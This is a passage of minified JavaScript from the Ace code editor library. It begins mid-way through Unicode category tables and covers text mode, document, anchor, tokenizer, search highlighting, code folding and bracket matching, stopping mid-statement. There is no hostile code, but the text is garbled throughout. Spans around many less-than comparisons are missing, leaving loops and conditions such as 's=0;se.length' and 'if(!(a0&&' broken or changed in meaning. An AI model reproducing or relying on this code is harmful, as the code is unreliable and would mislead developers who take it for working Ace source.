F17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF",Cc:"0000-001F007F-009F",Cf:"00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB",Co:"E000-F8FF",Cs:"D800-DFFF",Cn:"03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF"})})),ace.define("ace/mode/text",["require","exports","module","ace/tokenizer","ace/mode/text_highlight_rules","ace/mode/behaviour/cstyle","ace/unicode","ace/lib/lang","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../tokenizer").Tokenizer,s=e("./text_highlight_rules").TextHighlightRules,o=e("./behaviour/cstyle").CstyleBehaviour,r=e("../unicode"),a=e("../lib/lang"),l=e("../token_iterator").TokenIterator,c=e("../range").Range,h=function(){this.HighlightRules=s};(function(){this.$defaultBehaviour=new o,this.tokenRe=new RegExp("^["+r.packages.L+r.packages.Mn+r.packages.Mc+r.packages.Nd+r.packages.Pc+"\\$_]+","g"),this.nonTokenRe=new RegExp("^(?:[^"+r.packages.L+r.packages.Mn+r.packages.Mc+r.packages.Nd+r.packages.Pc+"\\$_]|\\s])+","g"),this.getTokenizer=function(){return this.$tokenizer||(this.$highlightRules=this.$highlightRules||new this.HighlightRules(this.$highlightRuleConfig),this.$tokenizer=new n(this.$highlightRules.getRules())),this.$tokenizer},this.lineCommentStart="",this.blockComment="",this.toggleCommentLines=function(e,t,i,n){var s=t.doc,o=!0,r=!0,l=1/0,c=t.getTabSize(),h=!1;if(this.lineCommentStart){if(Array.isArray(this.lineCommentStart))p=this.lineCommentStart.map(a.escapeRegExp).join("|"),g=this.lineCommentStart[0];else p=a.escapeRegExp(this.lineCommentStart),g=this.lineCommentStart;p=new RegExp("^(\\s*)(?:"+p+") ?"),h=t.getUseSoftTabs();v=function(e,t){var i=e.match(p);if(i){var n=i[1].length,o=i[0].length;d(e,n,o)||" "!=i[0][o-1]||o--,s.removeInLine(t,n,o)}};var u=g+" ",d=(A=function(e,t){o&&!/\S/.test(e)||(d(e,l,l)?s.insertInLine({row:t,column:l},u):s.insertInLine({row:t,column:l},g))},C=function(e,t){return p.test(e)},function(e,t,i){var n=0;while(t--&&" "==e.charAt(t))n++;if(n%c!=0)return!1;n=0;while(" "==e.charAt(i++))n++;return c>2?n%c!=c-1:n%c==0})}else{if(!this.blockComment)return!1;var g=this.blockComment.start,f=this.blockComment.end,p=new RegExp("^(\\s*)(?:"+a.escapeRegExp(g)+")"),m=new RegExp("(?:"+a.escapeRegExp(f)+")\\s*$"),A=function(e,t){C(e,t)||o&&!/\S/.test(e)||(s.insertInLine({row:t,column:e.length},f),s.insertInLine({row:t,column:l},g))},v=function(e,t){var i;(i=e.match(m))&&s.removeInLine(t,e.length-i[0].length,e.length),(i=e.match(p))&&s.removeInLine(t,i[1].length,i[0].length)},C=function(e,i){if(p.test(e))return!0;for(var n=t.getTokens(i),s=0;se.length&&(F=e.length)})),l==1/0&&(l=F,o=!1,r=!1),h&&l%c!=0&&(l=Math.floor(l/c)*c),w(r?v:A)},this.toggleBlockComment=function(e,t,i,n){var s=this.blockComment;if(s){!s.start&&s[0]&&(s=s[0]);var o,r,a=new l(t,n.row,n.column),h=a.getCurrentToken(),u=(t.selection,t.selection.toOrientedRange());if(h&&/comment/.test(h.type)){var d,g;while(h&&/comment/.test(h.type)){var f=h.value.indexOf(s.start);if(-1!=f){var p=a.getCurrentTokenRow(),m=a.getCurrentTokenColumn()+f;d=new c(p,m,p,m+s.start.length);break}h=a.stepBackward()}a=new l(t,n.row,n.column),h=a.getCurrentToken();while(h&&/comment/.test(h.type)){f=h.value.indexOf(s.end);if(-1!=f){p=a.getCurrentTokenRow(),m=a.getCurrentTokenColumn()+f;g=new c(p,m,p,m+s.end.length);break}h=a.stepForward()}g&&t.remove(g),d&&(t.remove(d),o=d.start.row,r=-s.start.length)}else r=s.start.length,o=i.start.row,t.insert(i.end,s.end),t.insert(i.start,s.start);u.start.row==o&&(u.start.column+=r),u.end.row==o&&(u.end.column+=r),t.selection.fromOrientedRange(u)}},this.getNextLineIndent=function(e,t,i){return this.$getIndent(t)},this.checkOutdent=function(e,t,i){return!1},this.autoOutdent=function(e,t,i){},this.$getIndent=function(e){return e.match(/^\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){for(var t in this.$embeds=[],this.$modes={},e)e[t]&&(this.$embeds.push(t),this.$modes[t]=new e[t]);var i=["toggleBlockComment","toggleCommentLines","getNextLineIndent","checkOutdent","autoOutdent","transformAction","getCompletions"];for(t=0;tthis.row)){var i=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(i.row,i.column,!0)}},this.setPosition=function(e,t,i){var n;if(n=i?{row:e,column:t}:this.$clipPositionToDocument(e,t),this.row!=n.row||this.column!=n.column){var s={row:this.row,column:this.column};this.row=n.row,this.column=n.column,this._signal("change",{old:s,value:n})}},this.detach=function(){this.document.removeEventListener("change",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on("change",this.$onChange)},this.$clipPositionToDocument=function(e,t){var i={};return e>=this.document.getLength()?(i.row=Math.max(0,this.document.getLength()-1),i.column=this.document.getLine(i.row).length):e<0?(i.row=0,i.column=0):(i.row=e,i.column=Math.min(this.document.getLine(i.row).length,Math.max(0,t))),t<0&&(i.column=0),i}}).call(o.prototype)})),ace.define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./apply_delta").applyDelta,o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=e("./anchor").Anchor,l=function(e){this.$lines=[""],0===e.length?this.$lines=[""]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){n.implement(this,o),this.setValue=function(e){var t=this.getLength()-1;this.remove(new r(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new a(this,e,t)},0==="aaa".split(/a/).length?this.$split=function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:this.$split=function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){this.$newLineMode!==e&&(this.$newLineMode=e,this._signal("changeNewLineMode"))},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return"\r\n"==e||"\r"==e||"\n"==e},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||"").substring(e.start.column);var i=t.length-1;e.end.row-e.start.row==i&&(t[i]=t[i].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead."),this.insertMergedLines(e,["",""])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var i=this.clippedPos(e.row,e.column),n=this.pos(e.row,e.column+t.length);return this.applyDelta({start:i,end:n,action:"insert",lines:[t]},!0),this.clonePos(n)},this.clippedPos=function(e,t){var i=this.getLength();void 0===e?e=i:e<0?e=0:e>=i&&(e=i-1,t=void 0);var n=this.getLine(e);return void 0==t&&(t=n.length),t=Math.min(Math.max(t,0),n.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var i=0;e0,n=t=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:"remove",lines:["",""]})},this.replace=function(e,t){return e instanceof r||(e=r.fromPoints(e.start,e.end)),0===t.length&&e.isEmpty()?e.start:t==this.getTextRange(e)?e.end:(this.remove(e),i=t?this.insert(e.start,t):e.start,i);var i},this.applyDeltas=function(e){for(var t=0;t=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var i="insert"==e.action;(i?e.lines.length<=1&&!e.lines[0]:!r.comparePoints(e.start,e.end))||(i&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),s(this.$lines,e,t),this._signal("change",e))},this.$splitAndapplyLargeDelta=function(e,t){var i=e.lines,n=i.length,s=e.start.row,o=e.start.column,r=0,a=0;do{r=a,a+=t-1;var l=i.slice(r,a);if(a>n){e.lines=l,e.start.row=s+r,e.start.column=o;break}l.push(""),this.applyDelta({start:this.pos(s+r,o),end:this.pos(s+a,o=0),action:e.action,lines:l},!0)}while(1)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:"insert"==e.action?"remove":"insert",lines:e.lines.slice()})},this.indexToPosition=function(e,t){for(var i=this.$lines||this.getAllLines(),n=this.getNewLineCharacter().length,s=t||0,o=i.length;s20){i.running=setTimeout(i.$worker,20);break}}i.currentLine=t,-1==n&&(n=t),o<=n&&i.fireUpdateEvent(o,n)}}};(function(){n.implement(this,s),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var i={first:e,last:t};this._signal("update",{data:i})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.lines[t]=null;else if("remove"==e.action)this.lines.splice(t,i+1,null),this.states.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.lines.splice.apply(this.lines,n),this.states.splice.apply(this.states,n)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||"start"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),i=this.states[e-1],n=this.tokenizer.getLineTokens(t,i,e);return this.states[e]+""!==n.state+""?(this.states[e]=n.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=n.tokens}}).call(o.prototype),t.BackgroundTokenizer=o})),ace.define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=(e("./lib/oop"),e("./range").Range),o=function(e,t,i){this.setRegexp(e),this.clazz=t,this.type=i||"text"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){this.regExp+""!=e+""&&(this.regExp=e,this.cache=[])},this.update=function(e,t,i,o){if(this.regExp)for(var r=o.firstRow,a=o.lastRow,l=r;l<=a;l++){var c=this.cache[l];null==c&&(c=n.getMatchOffsets(i.getLine(l),this.regExp),c.length>this.MAX_RANGES&&(c=c.slice(0,this.MAX_RANGES)),c=c.map((function(e){return new s(l,e.offset,l,e.offset+e.length)})),this.cache[l]=c.length?c:"");for(var h=c.length;h--;)t.drawSingleLineMarker(e,c[h].toScreenRange(i),this.clazz,o)}}}).call(o.prototype),t.SearchHighlight=o})),ace.define("ace/edit_session/fold_line",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../range").Range;function s(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var i=t[t.length-1];this.range=new n(t[0].start.row,t[0].start.column,i.end.row,i.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach((function(e){e.setFoldLine(this)}),this)}(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach((function(t){t.start.row+=e,t.end.row+=e}))},this.addFold=function(e){if(e.sameRow){if(e.start.rowthis.endRow)throw new Error("Can't add a fold to this FoldLine as it has no connection");this.folds.push(e),this.folds.sort((function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)})),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error("Trying to add fold to FoldRow that doesn't have a matching row");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,i){var n,s,o,r=0,a=this.folds,l=!0;null==t&&(t=this.end.row,i=this.end.column);for(var c=0;c0)){var l=s(e,r.start);return 0===a?t&&0!==l?-o-2:o:l>0||0===l&&!t?o:-o-1}}return-o-1},this.add=function(e){var t=!e.isEmpty(),i=this.pointIndex(e.start,t);i<0&&(i=-i-1);var n=this.pointIndex(e.end,t,i);return n<0?n=-n-1:n++,this.ranges.splice(i,n-i,e)},this.addList=function(e){for(var t=[],i=e.length;i--;)t.push.apply(t,this.add(e[i]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){var e=[],t=this.ranges;t=t.sort((function(e,t){return s(e.start,t.start)}));for(var i,n=t[0],o=1;o=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var i=this.ranges;if(i[0].start.row>t||i[i.length-1].start.rown)break;if(h.start.row==n&&h.start.column>=t.column&&(h.start.column==t.column&&this.$insertRight||(h.start.column+=r,h.start.row+=o)),h.end.row==n&&h.end.column>=t.column){if(h.end.column==t.column&&this.$insertRight)continue;h.end.column==t.column&&r>0&&lh.start.column&&h.end.column==a[l+1].start.column&&(h.end.column-=r),h.end.column+=r,h.end.row+=o}}}if(0!=o&&l=e)return s;if(s.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var i=this.$foldData,n=0;for(t&&(n=i.indexOf(t)),-1==n&&(n=0),n;n=e)return s}return null},this.getFoldedRowCount=function(e,t){for(var i=this.$foldData,n=t-e+1,s=0;s=t){a=e?n-=t-a:n=0);break}r>=e&&(n-=a>=e?r-a:r-e+1)}return n},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort((function(e,t){return e.start.row-t.start.row})),e},this.addFold=function(e,t){var i,n=this.$foldData,r=!1;e instanceof o?i=e:(i=new o(t,e),i.collapseChildren=t.collapseChildren),this.$clipRangeToDocument(i.range);var a=i.start.row,l=i.start.column,c=i.end.row,h=i.end.column;if(!(a0&&(this.removeFolds(g),g.forEach((function(e){i.addSubFold(e)})));for(var f=0;f0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach((function(e){this.expandFold(e)}),this)},this.unfold=function(e,t){var i,s;if(null==e?(i=new n(0,0,this.getLength(),0),t=!0):i="number"==typeof e?new n(e,0,e,this.getLine(e).length):"row"in e?n.fromPoints(e,e):e,s=this.getFoldsInRangeList(i),t)this.removeFolds(s);else{var o=s;while(o.length)this.expandFolds(o),o=this.getFoldsInRangeList(i)}if(s.length)return s},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var i=this.getFoldLine(e,t);return i?i.end.row:e},this.getRowFoldStart=function(e,t){var i=this.getFoldLine(e,t);return i?i.start.row:e},this.getFoldDisplayLine=function(e,t,i,n,s){null==n&&(n=e.start.row),null==s&&(s=0),null==t&&(t=e.end.row),null==i&&(i=this.getLine(t).length);var o=this.doc,r="";return e.walk((function(e,t,i,a){if(!(th)break}while(o&&l.test(o.type));o=s.stepBackward()}else o=s.getCurrentToken();return c.end.row=s.getCurrentTokenRow(),c.end.column=s.getCurrentTokenColumn()+o.value.length-2,c}},this.foldAll=function(e,t,i){void 0==i&&(i=1e5);var n=this.foldWidgets;if(n){t=t||this.getLength(),e=e||0;for(var s=e;s=e){s=o.end.row;try{var r=this.addFold("...",o);r&&(r.collapseChildren=i)}catch(a){}}}}},this.$foldStyles={manual:1,markbegin:1,markbeginend:1},this.$foldStyle="markbegin",this.setFoldStyle=function(e){if(!this.$foldStyles[e])throw new Error("invalid fold style: "+e+"["+Object.keys(this.$foldStyles).join(", ")+"]");if(this.$foldStyle!=e){this.$foldStyle=e,"manual"==e&&this.unfold();var t=this.$foldMode;this.$setFolding(null),this.$setFolding(t)}},this.$setFolding=function(e){this.$foldMode!=e&&(this.$foldMode=e,this.off("change",this.$updateFoldWidgets),this.off("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets),this._signal("changeAnnotation"),e&&"manual"!=this.$foldStyle?(this.foldWidgets=[],this.getFoldWidget=e.getFoldWidget.bind(e,this,this.$foldStyle),this.getFoldWidgetRange=e.getFoldWidgetRange.bind(e,this,this.$foldStyle),this.$updateFoldWidgets=this.updateFoldWidgets.bind(this),this.$tokenizerUpdateFoldWidgets=this.tokenizerUpdateFoldWidgets.bind(this),this.on("change",this.$updateFoldWidgets),this.on("tokenizerUpdate",this.$tokenizerUpdateFoldWidgets)):this.foldWidgets=null)},this.getParentFoldRangeData=function(e,t){var i=this.foldWidgets;if(!i||t&&i[e])return{};var n,s=e-1;while(s>=0){var o=i[s];if(null==o&&(o=i[s]=this.getFoldWidget(s)),"start"==o){var r=this.getFoldWidgetRange(s);if(n||(n=r),r&&r.end.row>=e)break}s--}return{range:-1!==s&&r,firstRange:n}},this.onFoldWidgetClick=function(e,t){t=t.domEvent;var i={children:t.shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey},n=this.$toggleFoldWidget(e,i);if(!n){var s=t.target||t.srcElement;s&&/ace_fold-widget/.test(s.className)&&(s.className+=" ace_invalid")}},this.$toggleFoldWidget=function(e,t){if(this.getFoldWidget){var i=this.getFoldWidget(e),n=this.getLine(e),s="end"===i?-1:1,o=this.getFoldAt(e,-1===s?0:n.length,s);if(o)return t.children||t.all?this.removeFold(o):this.expandFold(o),o;var r=this.getFoldWidgetRange(e,!0);if(r&&!r.isMultiLine()&&(o=this.getFoldAt(r.start.row,r.start.column,1),o&&r.isEqual(o.range)))return this.removeFold(o),o;if(t.siblings){var a=this.getParentFoldRangeData(e);if(a.range)var l=a.range.start.row+1,c=a.range.end.row;this.foldAll(l,c,t.all?1e4:0)}else t.children?(c=r?r.end.row:this.getLength(),this.foldAll(e+1,c,t.all?1e4:0)):r&&(t.all&&(r.collapseChildren=1e4),this.addFold("...",r));return r}},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var i=this.$toggleFoldWidget(t,{});if(!i){var n=this.getParentFoldRangeData(t,!0);if(i=n.range||n.firstRange,i){t=i.start.row;var s=this.getFoldAt(t,this.getLine(t).length,1);s?this.removeFold(s):this.addFold("...",i)}}},this.updateFoldWidgets=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.foldWidgets[t]=null;else if("remove"==e.action)this.foldWidgets.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,n)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}t.Folding=a})),ace.define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../token_iterator").TokenIterator,s=e("../range").Range;function o(){this.findMatchingBracket=function(e,t){if(0==e.column)return null;var i=t||this.getLine(e.row).charAt(e.column-1);if(""==i)return null;var n=i.match(/([\(\[\{])|([\)\]\}])/);return n?n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e):null},this.getBracketRange=function(e){var t,i=this.getLine(e.row),n=!0,o=i.charAt(e.column-1),r=o&&o.match(/([\(\[\{])|([\)\]\}])/);if(r||(o=i.charAt(e.column),e={row:e.row,column:e.column+1},r=o&&o.match(/([\(\[\{])|([\)\]\}])/),n=!1),!r)return null;if(r[1]){var a=this.$findClosingBracket(r[1],e);if(!a)return null;t=s.fromPoints(e,a),n||(t.end.column++,t.start.column--),t.cursor=t.end}else{a=this.$findOpeningBracket(r[2],e);if(!a)return null;t=s.fromPoints(a,e),n||(t.start.column++,t.end.column--),t.cursor=t.start}return t},this.$brackets={")":"(","(":")","]":"[","[":"]","{":"}","}":"{"},this.$findOpeningBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("rparen",".paren").replace(/\b(?:end)\b/,"(?:start|begin|end)")+")+"));var l=t.column-r.getCurrentTokenColumn()-2,c=a.value;while(1){while(l>=0){var h=c.charAt(l);if(h==s){if(o-=1,0==o)return{row:r.getCurrentTokenRow(),column:l+r.getCurrentTokenColumn()}}else h==e&&(o+=1);l-=1}do{a=r.stepBackward()}while(a&&!i.test(a.type));if(null==a)break;c=a.value,l=c.length-1}return null}},this.$findClosingBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("lparen",".paren").replace(/\b(?:start|begin)\b/,"(?:start|begin|end)")+")+"));var l=t.column-r.getCurrentTokenColumn();while(1){var c=a.value,h=c.length;while(li&&(this.$docRowCache.splice(i,t),this.$screenRowCache.splice(i,t))},this.$getRowCacheIndex=function(e,t){var i=0,n=e.length-1;while(i<=n){var s=i+n>>1,o=e[s];if(t>o)i=s+1;else{if(!(t=t)break;return i=n[o],i?(i.index=o,i.start=s-i.value.length,i):null},this.setUndoManager=function(e){if(this.$undoManager=e,this.$deltas=[],this.$deltasDoc=[],this.$deltasFold=[],this.$informUndoManager&&this.$informUndoManager.cancel(),e){var 